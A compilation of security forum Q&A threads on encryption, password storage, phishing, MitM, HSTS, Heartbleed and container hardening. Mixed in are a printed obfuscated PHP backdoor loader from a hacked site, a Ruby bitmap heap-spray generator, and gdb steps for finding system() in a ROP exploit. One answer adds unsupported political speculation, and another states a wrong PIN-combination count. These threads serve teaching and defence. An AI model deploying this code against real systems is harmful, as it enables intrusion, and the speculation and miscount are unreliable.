Is there a way to create separate environments on your computer with no way of detection? I would like to know if there is a way to create two different systems/environments on your PC (Windows OS) that you will enter each by different username and password. When someone enters your computer he won't be able to detect there are 2 parallel systems.

Depends how much scrutiny you want to defend against. It would theoretically be possible to use full disk encryption with multiple partitions, decrypting each based on a distinct password. This falls apart if a user looks at the disk manager application in Windows though - they'd see partitions they couldn't use (but which they could reformat and take over the space of). It would also fail if they opened the computer, looked at the drive, and started wondering why they couldn't use all that space.

At a Windows level, there are various ways to determine whether there are other users, so you'd be able to see their presence, even if you can't access their data. These vary from names showing in quick access login screens, to being able to see the contents of the c:\Users folder or the security permissions screens.


Why are hash collisions big news? Why is it big news to find a hash collision like https://news.ycombinator.com/item?id=13713480? I'm not asking about the implications.

It seems like all you'd have to do to find a collision would be to calculate the hash of 0000000000000000000000000000000000000000, 0000000000000000000000000000000000000001, etc all the way up to ffffffffffffffffffffffffffffffffffffffff, and then any hash you calculate after that would have to have a collision one of the previously calculated ones because there are only 16^40 possible sha-1s.

You're missing a lot.

The space of things to generate hashes for is infinite, what you listed is the space of hashed values.  They are two very different things.
Even generating the list of hashes for the space you noted in your post would be extremely time consuming.  "All you'd have to do ..." doesn't come close to doing it justice.  It's sort of like saying "If you want to find a missing person, just go around the world until you find them."

In any case, getting back to your main question: Why are hash collisions a big deal?  Because many crypto related things depend on there not being collisions, at least not that can be readily found.  For example, digital signatures hash a document and then encrypt the hash.  If you can generate hash collisions you can make it appear that someone digitally signed a document that they did not in fact sign.  That's bad, very bad.

The irony is that hash collisions are inevitable, as a hash maps an infinite space to a finite space.  In fact, there must be an infinite number of collisions.  But being able to generate collisions is scary from a crypto perspective.


Is it illegal to DDoS a phishing page? I used to go on a site called blockchain.info For storing bitcoins but today when I entered the URL I was redirected to a phishing page. I have entered all my information and it was obviously sent to the phiser well Then I have realised it was a phishing page I directly reported it to block chain and changed my password my question is. Is it illegal to ddos their site?

I live in KSA if that helps. Here is the phising page:

http://lblockclhain.info/us/login.htm

If you do a DDoS by sending large amounts of traffic to that site, you're very likely creating a lot of collateral damage since other services in (parts of) the network will suffer as well if the network is saturated.

Also, very often phishers use hacked websites (for example poorly managed and outdaged Wordpress installs) to host their phishing sites, so you're not just attacking the phisher, but also a (mostly) innocent victim of that phisher.

And as others pointed out, just as in 'the real world' (which this is just as much a part of), you shouldn't take matters into your own hands.

The right thing to do, is either complain to the owner of the site or the network hosting it, or report it to the website being phished. Especially banks often have dedicated teams (or hire companies) which are specialised in taking down phishing sites.

In addition: you must consider that, when you are DDoS'ing a website, you're not attacking the web "per se" but the whole server, so you're causing the damage to the webhosting server (that may propagate among other websites hosted in the same server).

Finally: Most laws in most countries consider illegal to send any cyber-attack, it does not matter if it is against a legal or illegal target.


Secure password stored on the client I am tasked to change our users current login method to a more secure one (at the moment all password are stored in clear text in the database...).

The problem is, all passwords must be on the customer's local network (as they should be able to work even without internet connection), but we should still be able to recover them and tell them to users in case they forget.

I tried to push for the standard "hashing and salting + password reset if required" solution, but it was deemed too complex.

I was thinking about using asymmetric encryption, so we can deploy a public key to customers and encrypt all passwords with it (checking the encrypted password at login time, as you normally do with hashes), and keep the private key so we can eventually decrypt the password if required.

Is this actually secure (provided we keep the private key for ourselves) or should we resort to another method?

First: no password storage.

Storing passwords is wrong. Clear-text or encrypted, symmetric or asymmetric encryption, it does not matter. If the password can be reverted, it will be reverted.

You must store the password on a secure hashed form. Use bcrypt with a sane amount of rounds. Too much rounds (100,000) will use too much resources, too few (100) will make a dictionary attack or bruteforce easier.

Salting and hashing plus password reset is not a complex solution. Is simpler than to deploy a public key to the client and properly protect the private key.

And don't recover passwords. Generate new ones. It's not hard. Just make sure only the owner of the forgotten password can reset the password. Sending a link to the user's email, or a confirmation code to their phones. And don't modify the password until the user clicks the link or access the password reset service with the correct username and reset code.


Key management: Detecting that a key has been compromised? I am looking at communication between our iOS/Android mobile app on the one side, and our RESTful web services API on the other side. From the server side, I have to assume that anything I receive is suspect. I assume the mobile app could have been reverse-engineered, secret/private keys harvested, etc.

Assuming that we are correctly doing HMAC-protected symmetric-key communication, when I receive, authenticate, and decrypt an encrypted message, I know that the message was sent by someone possessing our shared secret key.

This message could, of course, be coming from an attacker who has obtained that secret key.

I’m wondering if there is a formal protocol or best practice in the key-management area that addresses this issue: As the receiver, can I detect that the shared secret is, or may have been, compromised? I think the answer is that No, there is no such “easy” solution. But if there’s an answer I’d like to know it!

I suspect that there is no answer in the key-management area. This is really “How do I authenticate the sender of the message, when the sender is our mobile app downloaded from the app store?”

Keeping signatures valid after private key compromise discusses embedding a secure timestamp from a trusted third-party timestamp provider. I don't think that helps, when I assume the attacker can do anything the compromised mobile app can do. That's the nature of web services.

ADDITIONAL INFORMATION

After observing attacker(s) of our Web Services API, I am looking for ways to improve our security architecture. I don't want to ask something so vague as to be useless!

Here's our situation as I understand it. We're eager for recommendations.

We have a relatively high-traffic web site (top 1,500 by Alexis USA rank) that's been around many years. That means we have strong experience in protecting "normal" web site and attacker traffic.

We have found that RESTful APIs connecting to our mobile app is an entirely different arena. It's quite likely that I'm not asking the right questions. I don't yet truly understand the problem space!

All API traffic is over HTTPS. I'm confident that we have transport-layer security correct because that's part of our "regular" web site experience.

Our attacker correctly uses the web services with correct authentication tokens, etc. Up to that point (the point of observing that particular set of attacks) our API traffic is plain text over HTTPS. We have mobile apps for iOS and Android in Apple and Google Play stores. Mobile app development is under our control.

From this we conclude that our attacker was able to observe our plain-text-over-HTTPS mobile app traffic. Or that our attacker reverse-engineered our mobile app (which is less likely given the higher skill level needed).

Therefore I think the places we need to improve:

Better-secure communication between our web services and our mobile apps.
Better protect our site (server-side) from attack via the web services.

I hate to ask such a wide-open question, but can I get advice / references on making these security improvements? I have asked several questions and received excellent advice over the past week, but that does not mean that I yet fully understand the problem space!

As the receiver, can I detect that the shared secret is, or may have been, compromised?

In short: whatever you put into the publicly distributed application you implicitly share with an attacker and (s)he will not tell you once (s)he extracted these secret information.

In detail:
In the scenario you describe the secret is embedded into the application and thus implicitly shared with anybody who is able to download your application. Because of this broad distribution of the (only obfuscated) shared key you must consider that it is either already compromised or will be compromised, at least if there is something valuable to gain when using the key outside of the intended use case.

Probably the only way to detect a definite compromise is if the key is obviously used outside of your application. You might detect this with methods of anomaly detection. But if you don't detect the compromise it does not mean that the key is not compromised, it could simply mean that the hacker was smarter than you and hides its activities clever enough so your anomaly detection will not catch it.


If I turn off Windows Defender Credential Manager off in Windows 10 so I can run a virtual machine in Virtual Box, is that a bad idea? My processor is supposed to support virtualization:

cpu.inf:5f63e534115a322c:IntelPPM_Inst.NT:10.0.17134.765:ACPI\GenuineIntel_-_Intel64
ACPI\GENUINEINTEL_-_INTEL64_FAMILY_6_MODEL_37_-_INTEL(R)_CORE(TM)_I5_CPU_______M_540__@_2.53GHZ\_1

As I understand it, in Windows 10 I can't run VirtualBox because Windows 10 uses something called the Windows Defender Credential Manager which is a secure VM for separating credential management (related to Keybreos and NTLM) from the physical hardware that Windows 10 is running them.

While it sounds like a really good idea from a security standpoint, it also seems to be preventing me from running virtual machines on my laptop in VirtualBox.

While Hyper-V is an option it has some limitations that VirtualBox does not when working with Vagrant.

It can be disabled / enabled according to this.

The feature you named does not exist. What you're actually asking about is Windows Defender Credential Guard. This feature moves your passwords and derived credentials for Kerberos and NTLM used to communicate with services on the network into a separate secure virtual machine (VSM).

The point of the feature is to make it more difficult for attackers to steal credentials and move around an enterprise network. If this feature is turned off an attacker can easily grab these credentials and potentially elevate their privileges on the network.

Since this feature is not on by default and only applies in Active Directory-based networks it's likely it was your administrator(s) that turned it on. If that's the case you should be asking them if it's unsafe to turn it off.


MitM to intercept SSL/TLS based on network traffic alone? Say, an attacker wants to perform a MitM but all he has available is the network traffic between a client and a server. He has no further information about the data or certificates than what's being exchanged over the network, with him in the middle.

Both client and server have a very limited set of trusted CAs, and will validate connections against the same, both on the client and the server side. It is impossible for the attacker to obtain or by other means steal a valid private key signed by a trusted CA.

Is a MitM possible under such circumstances?

Since the attacker has no access to a certificate trusted by the victims nor can generate such a certificate it is impossible to mount an active man in the middle attack against TLS connection, provided that the victims properly check the certificates.


Mystery text message connected to a Chinese news site? Over the past few weeks I have noticed that there is a mystery contact showing up in my text message history:

When I click into this message there is nothing in the history.  I went to the domain associated with the text message and found the Chinese news site: hxxp://21cn.com/.  I've noticed that the day associated with the text ("Monday" in the image above) will update once a week or so.

Has anyone heard of anything like this?  Has my phone been compromised?

More than likely, the domain 21cn.com has been compromised and is being used to send spam. Bear in mind that spam does not always have to have a message body and can many times be sent from an unsuspecting victim accounts that were not secured properly or suffered a breach of any kind.

In regards to the date changing, that may be because of a new message being sent. Apple has odd quirks when sending 'iMessages'. For instance, I can open up iMessenger on my macbook and send a 'blank' text from my account to anyone (by simply pressing return).

Alternatively, this could be the result of some sophisticated virus (or perhaps a simple bug with IOS). I find the virus assumption unlikely, but it is still theoretically possible.

I would just delete it and perhaps block that contact (pubdma@21cn.com) and perhaps report the spam


Symmetric Mutual Authentication Case I have an interesting question about mutual-authentication with a symmetric key. Is this scheme possible and secure? And is this scheme a mutual-authentication scheme?

Alice -------"Im Alice"--------> Bob
      <---------E(R,K)----------
      ----------E(R+1,K)------->

I think it is secure, because Bob and Alice shares different messages (R+1 != R). And nobody else could read the symmetric key k, because only Alice and Bob shares it to encrypt and decrypt. But I don't know if it's possible to do the 1st step that says "Im Alice" without a R.

Do you know if it's possible?

Simple answer to your question: do not design your own protocol, it will not be secure.

Longer answer: it is not secure for general use. Problems off the top of my head:

Alice does not know she is talking to Bob. Anyone could replay an earlier challenge, and Alice would respond to it without knowing to whom she is talking. You might mitigate this in many ways, but your extremely non-detailed protocol doesn't define anything to mitigate it.
Bob doesn't really know it's Alice. You didn't include anything in your extremely limited protocol definition to ensure that responses cannot be replayed. If Bob sends the same R, Alice will send the same R+1. If the attacker intercepts all R messages and all R+1 messages, he can replay the R+1 ciphertext without ever knowing the plaintext.
This protocol does nothing to prevent a man in the middle. The attacker can intercept and forward all messages and will remain undetected.


Can I use a cryptographic hash function to prove my authorship of an anonymous article? From what I understand, hash functions are one-way functions. Let's say that I want to publish an opinion article anonymously, but there is a possibility that I later want to prove that I was the one that wrote the article. Is it possible for me to simply put my identifying information, such as my name, birthday, and social security number, into a cryptographic hash function, and place that hash as my "pseudonym"? The question is the same question as Deniable proof of authorship, but I don't understand the answer, and I'm not sure if the answer pertains to the use of a hash function.

If this works, are there any downsides? Are there common mistakes that people like me make? I don't see a way to break this function other than to enter the identifying information of every single person in the world and see if it matches the pseudonym.

One way that strikes me is simply generating a new PGP/GPG key, with an obviously bogus e-mail, such as example@example.com. Sign the work you publish, and make sure the signature is published together with the work.

If you at some later date need to verify that you wrote it, simply dig up the private and public key that made the signature. This can be used to prove that you had knowledge of and access to the work before it was published.

As long as you do not connect the keys with yourself in any way, no thirdparty can connect the work to you.

You need to keep the key material in the intervening period of course.


How to block proxy servers to access HTTPS based sites Is there any way to stop/block proxy servers to access https based sites ?.

As I have enabled mod_geoip to allow certain countries traffic, to access our critical websites, but still open web proxies are easily searchable by which any attacker try to access the site using the part of the allowed country.

I have googled a lot and found a solution to detect/block requests coming via proxy based on http-x-forwarded-for, (reference URL).

But this work only for HTTP based sites not for https, as on HTTPS x-forwarded-for headers are not coming due to encryption. So I believe is there must be some possible approach to block proxies for https, ?? else mod_geoip is useless for https based websites.

What are you trying to protect?

If some vulnerability then use modsecurity to migrate it and use  IP black lists like
https://github.com/mlsecproject/combine/wiki/Threat-Intelligence-Feeds-Gathered-by-Combine
and block Tor exit nodes.

If you want to block just some countries then to use http-x-forwarded-for  place the filter under web server or HAProxy that does ssl termination.

Other more complex solution is:

Grab the IP
Ask Shodan API for it (https://developer.shodan.io/)
If there are any random ports opened on the IP black list it

Note: One or two inital requests still won't be blocked but ones
it's in black list it's bullet prove if you block it on iptables level.

Example:
https://www.shodan.io/host/5.148.154.53

This ip has proxy listening to port 8080 this is an public one.
I tested it with one private I have and still you see open ports.

That can be done just by one python script as normal users won't have
any open ports for hosted services.

Just take care not to ban google bots, use this guide:
https://support.google.com/webmasters/answer/80553?hl=en&vid=0-292822248820-1519233445180


How does the Dell Sonic wall Authentication works? My College Router has Dell Sonicwall authentication. We will be automatically redirected to the login page. If the username and password is correct a new popup opens showing that user 'x' has logged in and you have 'y' minutes remaining. We are asked not to close this tab when using internet. If we close this tab, we will have to login again.My question is how does it know that we haven't closed the tab(Why should they use such a technique?).

The new tab is named 'login status top'.

It does work by either having a meta refresh, or a JavaScript, that continually send request to hold your session alive.

Basically, it works by having a session identifier, that is a random string. This session identifier might be valid for lets say 3 minutes.
Each minute, that webpage will either execute JavaScript code, or do a meta refresh, causing the page to get a new session identifier that is valid for Another 3 minutes.

The reason it knows you have closed the window, is that the session will no longer be renewed, thus your session will expire.

The reason of using such a system, is to prevent people from spoofing MAC-adresses and IP-adresses to "steal" a other's login session.

The popup is often delivered over HTTPS, so once the original user stops using the session, theres no way for the attacker to keep the session alive.

In some cases, a interlock scheme is used instead of HTTPS (or sometimes in combination), which consist of a JavaScript which is constructed to do some Exchange of secrets with the server each session renew, in a way so it requires a MITM attack to subdue the system.


What will this code actually will do?

You have a backdoor that allows Remote Code Execution

Credit to borjab for the inital decode

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note this base64 encoded string we found in the first file:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

When decoding that string, it points to this file:

/home4/mitzvahc/public_html/assets/img/logo_small.png

The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image.

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)].

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:

eval(gzuncompress(base64_decode("evil_payload")));

Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.

What are the evil gunzip contents?

You can see them here.
Inside the above, here's another encoding dump (Thanks, Technik Empire)
Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
nneonneo cleaned it up even more.

Why is this happening?

  How it's possible that a supposedly locked PHP file can get updated on the server?

This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:

Joomla Security Checklist
WordPress Hardening
Django Deployment Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.


Should ability to access login page after authentication be considered a security flaw? On one of the recent engagements, I bumped into something I have not seen before: after successful authentication attempt the user still can access the login web page and login as another user.

It did not seem to be a security flaw in a sense, as once you login as someone else your session ID is rewritten.

What do you think, is it more of a logical flaw or is there any way to exploit it that I have not thought of?

This doesn't seem to be a vulnerability. Even if you would allow a user to log in multiple times on the same page, this doesn't imply any security flaws because the session and user management could still be secure. However, being logged in as multiple users is a design flaw. If you can login again as a logged in user, the panel should be redesigned to display your profile etc including a logout button instead of the login form.


Having http site load https content - Approach My website is an information only website and all the information on it is available to all those who visit the website. There is no sensitive data and no user sessions\logins.

The content on my http site is available over both http and https. All the pages on my site are http pages.  We have to load the content on the http site from https. We have been asked to do a force redirect to https for all the http reuests. I have the below queries

1. Is it ok to have content on https and the site on http. Are there any issues with this approach? Is it recommended?

2. Considering that the user sees only the 'http' url, the user still thinks he's on an unsafe site. That doesn't help?

3. Is doing a force redirect for all the http urls to https the right approach for this?

4. The main concern raised for having the content on https was that the traffic between content administrator and EPIserver CMS was not secure. Considering that there is no sensitive data, is this a valid argument? Are there any other security concerns (For eg an attacker being able to change the content) ?

5. Related to the query above, is it fine just to have the login page to the CMS over https?

6. Are there any other things I need to be aware of?

Any guidance on the above queries would be really helpful.

There is no sensitive data

Are you sure your visitor are OK to share their browsing history? Are your webpages about something they might not want to share?

  Is it ok to have content on https and the site on http. Are there any issues with this approach? Is it recommended?

If your website present the same content with http and https, you must specify a canonical page for search engine to avoid duplicate content problems: https://support.google.com/webmasters/answer/139066

If your redirect http to https you don't have to worry about that.

  Considering that the user sees only the 'http' url, the user still thinks he's on an unsafe site. That doesn't help?

If the main page is http, even if all resources are https, he is on an unsafe website. Some attacker can include malicious java, or fake login page, or ads:

http://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/

https://theintercept.com/2014/08/15/cat-video-hack/

  Is doing a force redirect for all the http urls to https the right approach for this?

Yes, it's more secure to always redirect http to https. And better to use HSTS to prevent sslstrip:

http://resources.infosecinstitute.com/mitm-using-sslstrip/

  Related to the query above, is it fine just to have the login page to the CMS over https?

No. It's less secure than having https for all webpages: if you have only the login page with https, you still need to protect sessions cookies:
https://en.wikipedia.org/wiki/Firesheep
and you need to protect webpages that can redirect to the login page:
https://moxie.org/software/sslstrip/
and any webpage where the visitor may expect a login page.
So the only secure way to handle a login, is to use https in the whole domain, with HSTS.

  Are there any other things I need to be aware of?

It's easier and safer to just use https everywhere.
https may even be faster than http : https://www.httpvshttps.com/ https://istlsfastyet.com/
You have access to more features: https://sites.google.com/a/chromium.org/dev/Home/chromium-security/deprecating-powerful-features-on-insecure-origins


How can I confirm that my server is protected against HeartBleed? I just got a software update openssl-1.0.1e-37. I believe it is a patch for HeartBleed. Given that it was widely reported that versions up to 1.0.1f are vulnerable, how can I verify this patch on my server without resorting to an external checker?

I was able to download this tool and put it on one of my systems so that I could test my hosts without an external checker:

heartbleeder

The results were consistent with what I expected (dirty to clean after patching, and the one time it didn't clean up after patching, further investigation showed the tool was right and I hadn't patched every copy of the openssl library).

And by the way, what you're describing is incredibly common.  Many distributions (RHEL in particular) backport patches without changing the old rev.  Red Hat actually takes the cake for this one - openssl-1.0.1e-16.el6_5.4 is the bad old RPM, and openssl-1.0.1e-16.el6_5.7 is the fixed new RPM.  Really, Red Hat?  You couldn't have nudged -16 up to -17?

Update:

In answer to @question-overflow's comment, here's an excellent dissection of the issue including walkthrough of the code and links to full source.


MITM sniffing packets I fail to understand how a MITM attack sniffs packets and modifies them.In the case of ARP spoofing although the attacker has spoofed the MAC address of a host, how does he modify it as the IP layer would just discard the packet as the IP's of the host and the attacker do not match?

A MitM attack may have more than one purpose, it may just be an information gathering project, or it may be an impersonation project.

For information gathering purposes just listening to traffic is good enough, and like Steffen mentioned in the comments, setting up a NIC in this mode would achieve the desired result. How to enable promiscuous mode depends on your operating system, in Windows it can be done with the netsh command and in Linux it involves the /etc/rc.local file (its better to search in internet for your specific case).

For impersonation projects the level of sophistication increases, often it involves somehow altering the CAM table in a switch (ARP spoofing). I will not talk about the specific implementation of an attack like this, but consider this scenario:

Marc wants to send an email to Jane. Tom is the attacker.
Marc tries to connect to the mail server, instead he sends his credentials to
Tom.
Tom uses those credentials to authenticate with the mail server,
impersonating Marc.
Tom also sends valid replies to every request
from Marc.

If you want to learn how to mitigate such an attack, and need to practice or put some tool or mechanism to test, I recommend trying arpspoof, its of course not the only tool available but an easy enough one to use.


Bitmap heap spray technique I was recently reading up a PDF (https://www.owasp.org/images/0/01/OWASL_IL_2010_Jan_-_Moshe_Ben_Abu_-_Advanced_Heapspray.pdf) heap spray techniques when they mentioned heap spray with bitmaps. Now they didn't exactly explain how one could do, or accomplish this technique. When I tried looking up techniques on bitmap heap spraying it just came up with normal heap spray. So what I am asking is for some article ,webpage, or PDF that explains, and shows a brief piece of code how to accomplish a bitmap heap spray. (Also if someone could also give a short explanation on how heap spray with bitmap works that would help me out a lot too. Thanks!)

The general idea is to embed shellcode in a bitmap which a browser loads into the heap.

The original presentation discussing this technique is Punk Ode: Hiding Shellcode in Plain Sight.

Also discussed in this paper is using code embedded in a gif to create an exploitable heap overflow in NetScape 6.x, x86 Linux RedHat 7.0, 15 years ago (slide 9).

As for the technique discussed on slide 13 of Advanced Heap Spraying Techniques, the code used to demonstrate it can be found  in the section titled "Alternative ways to spray the browser heap" of  corelan's Heap Spraying Demystified tutorial:

# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission

bmp_width           = ARGV[0].to_i
bmp_height          = ARGV[1].to_i
bmp_files_togen     = ARGV[2].to_i

if (ARGV[0] == nil)
    bmp_width       = 1024
end

if (ARGV[1] == nil)
    bmp_height      = 768
end

if (ARGV[2] == nil)
    bmp_files_togen = 128
end

# size of bitmap file calculation
bmp_header_size     = 54
bmp_raw_offset      = 40
bits_per_pixel      = 24
bmp_row_size        = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size       = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )

bmp_file            = "\x00" * bmp_file_size
bmp_header          = "\x00" * bmp_header_size
bmp_raw_size        = bmp_file_size - bmp_header_size

# generate bitmap file header
bmp_header[0,2]     = "\x42\x4D"                    # "BM"
bmp_header[2,4]     = [bmp_file_size].pack('V')     # size of bitmap file
bmp_header[10,4]    = [bmp_header_size].pack('V')   # size of bitmap header (54 bytes)
bmp_header[14,4]    = [bmp_raw_offset].pack('V')    # number of bytes in the bitmap header from here
bmp_header[18,4]    = [bmp_width].pack('V')         # width of the bitmap (pixels)
bmp_header[22,4]    = [bmp_height].pack('V')        # height of the bitmap (pixels)
bmp_header[26,2]    = "\x01\x00"                    # number of color planes (1 plane)
bmp_header[28,2]    = "\x18\x00"                    # number of bits (24 bits)
bmp_header[34,4]    = [bmp_raw_size].pack('V')      # size of raw bitmap data

bmp_file[0,bmp_header.length] = bmp_header

bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size

for i in 1..bmp_files_togen do
    bmp = File.new(i.to_s+".bmp","wb")
    bmp.write(bmp_file)
    bmp.close
end

  This standalone ruby script will create a basic bmp image that contains 0x0c all over the place. Run the script, feeding it the desired width and height of the bmp file, and the number of files to create :

root@bt:/spray# ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x  2 root root    4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root    4096 2011-12-31 08:50 ..
-rw-r--r--  1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r--  1 root root    1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray#

Additional information on this subject from Phrack article Self-patching Microsoft XML with misalignments and factorials:

  --[ 3.4 - Filling the memory 1: images

  Because the memory region that must be controlled is rather big, my
  initial idea was to utilize some pre-calculated big objects for filling
  it, such as images. The core of the idea is that, every piece of data
  that can be consumed and processed by the target application (e.g. output
  or rendered) has its place and a representation in the target process
  memory. Thinking like that we don't get caught in stereotypical terms of
  'heap spraying' and the specific techniques associated with it, many of
  which are already mitigated in browsers.

  The idea of using graphical images in vulnerability development is not
  new. It was first introduced in 2006 by Sutton et al.[3], whose research
  focused mainly on the aesthetics of shellcode steganography in images
  rather than solving of any problems of heap spraying (as there were none
  at that time). Later, a few researchers revisited the same idea in the
  context of heap spraying, but it has never found a real application,
  mainly because bitmaps (as the only format capable of incorporating a
  byte pattern 'as is') are huge and can only be shrinked with the help of
  server-side measures, while using other image formats for memory control
  purposes is burdened with calculation problems of recompression.

  Apart from the server-side GZIP compression, another solution that's never
  publicly noted is PNG. The PNG compression is very simple and does not
  affect the bitmap structure at large. As a result, a 2Mb BMP image
  containing a simple 1-byte pattern can be converted into a ~500 bytes PNG
  image, that will be decompressed back into the original bitmap in the
  rendering process memory.

  There are two problems however:

  The more variable is the source bitmap pattern, the bigger is the
  resulting PNG image; a natural limitation of any compression.
  The decompressed PNG has extra bytes in the bitmap data, injected after
  every 3 bytes of the original bitmap. It's probably a transparency channel
  or some other data specific to the PNG format.

  The good news:

  At the point when the PNG image is loaded and decompressed by the
  browser but is not yet displayed on the web page, the bitmap data in the
  process memory fully corresponds to the source BMP.
  A large image is mapped into a comparably large and continuous chunk of
  memory, located at a somewhat predictable memory offset.

  The PNG spraying technique proved to be not suitable for this particular
  case because a highly variable memory padding pattern would be required,
  and so the images would have to be too big anyway. However it still looks
  like an interesting technique for rapid filling of huge memory areas with
  a simple byte pattern.


Is it always possible to trace the attacker country? Lately a topic whether Russia is behind hacking the dnc servers (also asked here). I have always thought that it is hard to trace the country of the attacker and be sure about it, since they can use various techniques to hide their traces and leave false information(and I would assume that if some group of hackers would be working for government, they would be skilled enough to hide themselves). Is that true, or is it possible to trace the attacker?

I am assuming so, geographic regions of the world have their own range of public IP addresses, that part is easy, you just check the logs of recorded ip addresses and cross correspond them with public BGP routing tables.

I don't think it's as easy as action films portray to leave false information, the only method I know of is proxies and VPN's, I imagine a state sponsored attack would have the funding to 'proxy hop' across several regions of the Earth giving the impression of the attack coming from elsewhere, of course depending on the proxy company, they can choose to give the information to the authorities, there might be loopholes that prevent the information from being passed over.

All I can say is Russia probably knows the length of time an attack like this would take to investigate properly - A LONG TIME - Putin is aware that Trump supports him and feels that when Trump gets elected, the investigation into the matter would be impossible or extremely unlikely to yield any usable results, therefore even if it can be traced, Putin doesn't have to worry because soon it won't matter.


What's the minimum access code length considered secure? I'm building a remote management software that will allow remote access to work equipment.

To get access, the user will have to enter a code which is shown on the device to be accessed. The user will take this code in person and then put it manually in the client machine.

I want to keep the length of this code the shortest possible for user experience reasons.

What's the minimum bit-length of this code so that even if an attacker could do a brute-force, he/she won't get access to any machine?

It depends on how this code is entered, if this is a type a code in a box from a computer keyboard or a type a code on a physical keypad that requires a user to physically brute force it.

If it has scope to be attacked by a computer a six digit numeric pin could be cracked in minutes, 6 digits gives 1111110 password combinations, at 766 keys per second, your pin is cracked in  24 minutes, at 4 digits it's 14 seconds. You can run numbers yourself through this calculator to give you an idea http://calc.opensecurityresearch.com/

With physical entry it's much more demanding time wise and a human will give up long before a computer will. You must have some sort of lock out after multiple failed attempts, as ATMs do - typically locking you out after three attempts. So, it's not necessarily the length that is hugely important beyond the trivially guessable, ie it should be at least four or more. The chances of hitting a 4 digit code in three guesses are extremely small, so something in the range of 4 - 8 i would have thought should suit your application offering a difficult to guess PIN with low effort to enter.


Randomly generating invoice IDs I'm in the process of setting up a local (i.e. offline and very limited) business, and I'm thinking of generating invoice IDs randomly to avoid the clients knowing that they're customer number #00000001 (and because I prefer something like #30549805 to CLIENT1). I've come across the following script to do this:
#!/usr/bin/env bash

digits=8

rand=$(od -A n -t d -N 2 /dev/urandom |tr -d ' ')
num=$((rand % 10))
while [ ${#num} -lt $digits ]; do
  rand=$(od -A n -t d -N 1 /dev/urandom |tr -d ' ')
  num="${num}$((rand % 10))"
done
echo $num

...and it seems to work well enough: returning 26 duplicates (13 pairs) in more than 55,000 numbers.
Would it be safe to use something like this to generate invoices, and are there any disadvantages to doing so?
Assuming it is safe, what's the lowest amount of digits I can make the ID before the odds of collisions would be too high?

Here's a one-liner that you can use to generate a random string of digits:
head /dev/urandom | tr -dc '[:digit:]' | cut -c 1-10

This creates a random string of 10 digits.  To increase or decrease the length, adjust the 10 at the end to the desired length.
To answer your second question, 'what's the lowest amount of digits I can make the ID before the odds of collisions would be too high?' - this is known as the birthday problem, which famously shows that if 23 people are in a room, there is a 50% chance that two people in the room share the same birthday.  The math behind this problem can be used to solve your problem as well.  Fortunately, you don't have to do any complicated math, because it's already done for you in the above wikipedia article.  If you scroll down to the table in section 2.5, you'll find different scenarios that apply in your case.
For example, if you use random strings of 12 digits in length (a space just shy of 40 bits), you would have a 50% chance of getting a duplicate random string after generating a little less than 1.2x10^6 random strings.  If you increase the length to 20 digits (a space greater than 64 bits), the number of random strings that you would have to generate before having a 50% chance of a duplicate increases to over 5.1x10^9.


How to find address of system() in an executable - ROP exploit I'm trying to find the address of system() in a code repo that I'm trying to exploit using Return Oriented Programming (for a course project). The code has included stdlib.h but it has not used system() anywhere.

I was under the impression that all the functions in stdlib.h would be in the same address space as the executable (that I'm trying to exploit) whether or not they were explicitly used. gdb gives me this error:

(gdb) print 'system@plt'
No symbol "system@plt" in current context.

Similarly, execve() is not in context either:

(gdb) print 'execve@plt'
No symbol "execve@plt" in current context.

Does this mean that the code is immune to ROP? I don't know of any other function that can be used to spawn a shell.

Using print 'system@plt' is only valid if the program already has an existing function (called or not) that directly references system(). In your example that's not the case.

First, disable library randomization if you haven't done so ulimit -s unlimited

In GDB

Set a breakpoint at main
Run the program.
print system

That gives you the address for system()

From there run the exploit like you were trying.

Also, instead of posting here, you may want to ask a TA or your professor.  If you're confused, it's likely other students are too.


How to harden container hosts? https://github.com/docker/docker-bench-security

git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
docker build --no-cache -t docker-bench-security .
docker run -it --net host --pid host --cap-add audit_control \
    -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
    -v /var/lib:/var/lib \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -v /usr/lib/systemd:/usr/lib/systemd \
    -v /etc:/etc --label docker_bench_security \
    docker-bench-security

returns a report including:

[NOTE] 1.2  - Ensure the container host has been Hardened

Some containers run on Virtual Machines, how to harden these machines to ensure that the container host is hardened?

That's a generic recommendation to make use of Operating system hardening tools applicable to the underlying host.

I'd recommend reviewing the CIS benchmark for whatever host OS you're running in your virtual machines. Compliance with the areas of those benchmarks that meet your use case/threat model, should provide a good starting point there.


